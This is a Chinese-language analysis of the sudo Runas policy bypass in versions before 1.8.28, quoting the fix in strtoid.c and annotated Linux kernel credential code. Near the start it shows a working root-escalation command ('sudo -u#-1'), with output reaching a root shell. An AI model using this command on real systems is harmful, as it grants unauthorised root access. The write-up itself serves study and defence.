该漏洞会影响最新版本1.8.28之前的所有Sudo版本
默认情况下,在大多数Linux发行版中,如屏幕快照所示,/ etc / sudoers文件中RunAs规范中的ALL关键字允许admin或sudo组中的所有用户以系统上的任何有效用户身份运行任何命令。
但是,由于特权分离是Linux中的基本安全范例之一,因此管理员可以配置sudoers文件来定义哪些用户可以对哪些用户运行哪些命令。
因此,在允许您以除root用户之外的任何其他用户身份运行特定命令或任何命令的特定情况下,该漏洞仍可能允许您绕过此安全策略,并以root用户的身份完全控制系统。
sudo 版本1.8.28之前 在/etc/sudoers中配置了 guest ALL=(ALL, ! root) ALL
使用guest用户
guest@shell:~$ sudo -u#-l su
root@shell:/home/guest# id
uid=0(root) gid=0(root) roups=0(root)
在官方代码仓库找到提交的修复代码:https://www.sudo.ws/repos/sudo/rev/83db8dba09e7
从提交的代码来看,只修改了 lib/util/strtoid.c。strtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的 UID 字符串,补丁关键代码:
/* Disallow id -1, which means "no change". */
if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {
if (errstr != NULL)
*errstr = N_("invalid value");
errno = EINVAL;
goto done;
}
llval 变量为解析后的值,不允许 llval 为 -1 和 UINT_MAX(4294967295)。
也就是补丁只限制了取值而已,从漏洞行为来看,如果为 -1,最后得到的 UID 却是 0,为什么不能为 -1?当 UID 为 -1 的时候,发生了什么呢?继续深入分析一下。
我们先用 strace 跟踪下系统调用看看:
[root@localhost ~]# strace -u test_sudo sudo -u#-1 id
从输出的系统调用中,注意到:
setresuid(-1, -1, -1) = 0
以上引用来自 Seebug Paper ,作者:知道创宇404积极防御实验室 None 原文地址:https://paper.seebug.org/1057/
基于ubuntu1804,内核版本5.0.0分析相关内核函数
SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
return __sys_setresuid(ruid, euid, suid);
}
系统调用setresuid()使用的上面系统呼叫方式
SYSCALL_DEFINEx 中的x代表之后系统调用的函数 setresuid 所包含的输入参数数量
之后的6个参数 uid_t, ruid, uid_t, euid, uid_t, suid 中 uid_t 表示其后数据的类型声明
实际 setresuid 函数的 数据为 ruid, euid, suid
通过查询相关宏定义如下:
typedef __kernel_uid32_t uid_t;
// 来自 <https://elixir.bootlin.com/linux/v5.0/source/include/linux/types.h#L32>
#ifndef __kernel_uid32_t
typedef unsigned int __kernel_uid32_t;
typedef unsigned int __kernel_gid32_t;
#endif
// 来自 <https://elixir.bootlin.com/linux/v5.0/source/include/uapi/asm-generic/posix_types.h#L49>
long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
struct user_namespace *ns = current_user_ns();
const struct cred *old;
struct cred *new;
int retval;
kuid_t kruid, keuid, ksuid;
kruid = make_kuid(ns, ruid); //检查id存在,不存在返回-1
keuid = make_kuid(ns, euid);
ksuid = make_kuid(ns, suid);
if ((ruid != (uid_t) -1) && !uid_valid(kruid)) // uid_valid 判定value != -1 if 判断为0,之后内容未执行
return -EINVAL;// EINVAL = 22
if ((euid != (uid_t) -1) && !uid_valid(keuid))//if 判断为0,之后内容未执行
return -EINVAL;
if ((suid != (uid_t) -1) && !uid_valid(ksuid))//if 判断为0,之后内容未执行
return -EINVAL;
new = prepare_creds(); //构造凭证结构体,下文详细说明
if (!new)
return -ENOMEM;
old = current_cred();
retval = -EPERM;
if (!ns_capable(old->user_ns, CAP_SETUID)) {
if (ruid != (uid_t) -1 && !uid_eq(kruid, old->uid) &&
!uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid))
//uid_eq(value1,value2) 返回两个值是否相等,ruid = -1,if 判断为0,,之后内容未执行
goto error;
if (euid != (uid_t) -1 && !uid_eq(keuid, old->uid) &&
!uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid))
//if 判断为0,之后内容未执行
goto error;
if (suid != (uid_t) -1 && !uid_eq(ksuid, old->uid) &&
!uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid))
//if 判断为0,之后内容未执行
goto error;
}
if (ruid != (uid_t) -1) {//ruid = -1 if 判断为0,之后内容未执行
new->uid = kruid;
if (!uid_eq(kruid, old->uid)) {
retval = set_user(new);
if (retval < 0)
goto error;
}
}
if (euid != (uid_t) -1)//euid = -1 if 判断为0,之后内容未执行
new->euid = keuid;
if (suid != (uid_t) -1)//suid = -1 if 判断为0,之后内容未执行
new->suid = ksuid;
new->fsuid = new->euid;
retval = security_task_fix_setuid(new, old, LSM_SETID_RES);
//跳转后执行cap_task_fix_setuid(),LSM_SETID_RES 为标志,理解为验证权限变动,设置有效位操作
if (retval < 0)
goto error;
return commit_creds(new); //使权限结构体生效,下文贴出源码
error:
abort_creds(new);
return retval;
}
来自 https://elixir.bootlin.com/linux/v5.0/source/kernel/sys.c#L621
prepare_creds()函数用于创建新的凭证结构体,而传递给函数的 ruid、euid和suid 三个参数只有在不为 -1 的时候,才会将 ruid、euid 和 suid 赋值给新的凭证(见上面三个 if 逻辑),否则默认的结构体为当前文件用户id。
在运行sudo时,执行prepare_creds()函数,生成的初始凭证,会根据sudo文件用户id设置为凭证结构体的euid,而suid为euid的复制
Linux EUID,SUID,RUID简单理解 来自 https://blog.csdn.net/hbhgyu/article/details/80571786
// prepare_creds()函数源码
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
#ifdef CONFIG_KEYS
key_get(new->session_keyring);
key_get(new->process_keyring);
key_get(new->thread_keyring);
key_get(new->request_key_auth);
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;
validate_creds(new);
return new;
error:
abort_creds(new);
return NULL;
}
来自 https://elixir.bootlin.com/linux/v5.0/source/kernel/cred.c#L246
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;
kdebug("commit_creds(%p{%d,%d})", new,
atomic_read(&new->usage),
read_cred_subscribers(new));
BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
BUG_ON(read_cred_subscribers(old) < 2);
validate_creds(old);
validate_creds(new);
#endif
BUG_ON(atomic_read(&new->usage) < 1);
get_cred(new); /* we will require a ref for the subj creds too */
/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
smp_wmb();
}
/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(task);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(task);
/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
alter_cred_subscribers(new, 2);
if (new->user != old->user)
atomic_inc(&new->user->processes);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user)
atomic_dec(&old->user->processes);
alter_cred_subscribers(old, -2);
/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);
if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);
/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}
来自 https://elixir.bootlin.com/linux/v5.0/source/kernel/cred.c#L425
int cap_task_fix_setuid(struct cred *new, const struct cred *old, int flags)
{
switch (flags) {
case LSM_SETID_RE:
case LSM_SETID_ID:
case LSM_SETID_RES:
/* juggle the capabilities to follow [RES]UID changes unless
* otherwise suppressed */
if (!issecure(SECURE_NO_SETUID_FIXUP)) //SECURE_NO_SETUID_FIXUP = 2
cap_emulate_setxuid(new, old);
break;
case LSM_SETID_FS:
/* juggle the capabilties to follow FSUID changes, unless
* otherwise suppressed
*
* FIXME - is fsuser used for all CAP_FS_MASK capabilities?
* if not, we might be a bit too harsh here.
*/
if (!issecure(SECURE_NO_SETUID_FIXUP)) {
kuid_t root_uid = make_kuid(old->user_ns, 0);
if (uid_eq(old->fsuid, root_uid) && !uid_eq(new->fsuid, root_uid))
new->cap_effective =
cap_drop_fs_set(new->cap_effective);
if (!uid_eq(old->fsuid, root_uid) && uid_eq(new->fsuid, root_uid))
new->cap_effective =
cap_raise_fs_set(new->cap_effective,
new->cap_permitted);
}
break;
default:
return -EINVAL;
}
return 0;
}
来自 https://elixir.bootlin.com/linux/v5.0/source/security/commoncap.c#L1038
static inline void cap_emulate_setxuid(struct cred *new, const struct cred *old)
{
kuid_t root_uid = make_kuid(old->user_ns, 0);
if ((uid_eq(old->uid, root_uid) ||
uid_eq(old->euid, root_uid) ||
uid_eq(old->suid, root_uid)) &&
(!uid_eq(new->uid, root_uid) &&
!uid_eq(new->euid, root_uid) &&
!uid_eq(new->suid, root_uid))) {
if (!issecure(SECURE_KEEP_CAPS)) {
cap_clear(new->cap_permitted);
cap_clear(new->cap_effective);
}
/*
* Pre-ambient programs expect setresuid to nonroot followed
* by exec to drop capabilities. We should make sure that
* this remains the case.
*/
cap_clear(new->cap_ambient);
}
if (uid_eq(old->euid, root_uid) && !uid_eq(new->euid, root_uid))
cap_clear(new->cap_effective);
if (!uid_eq(old->euid, root_uid) && uid_eq(new->euid, root_uid))
new->cap_effective = new->cap_permitted;
}
来自 https://elixir.bootlin.com/linux/v5.0/source/security/commoncap.c#L1001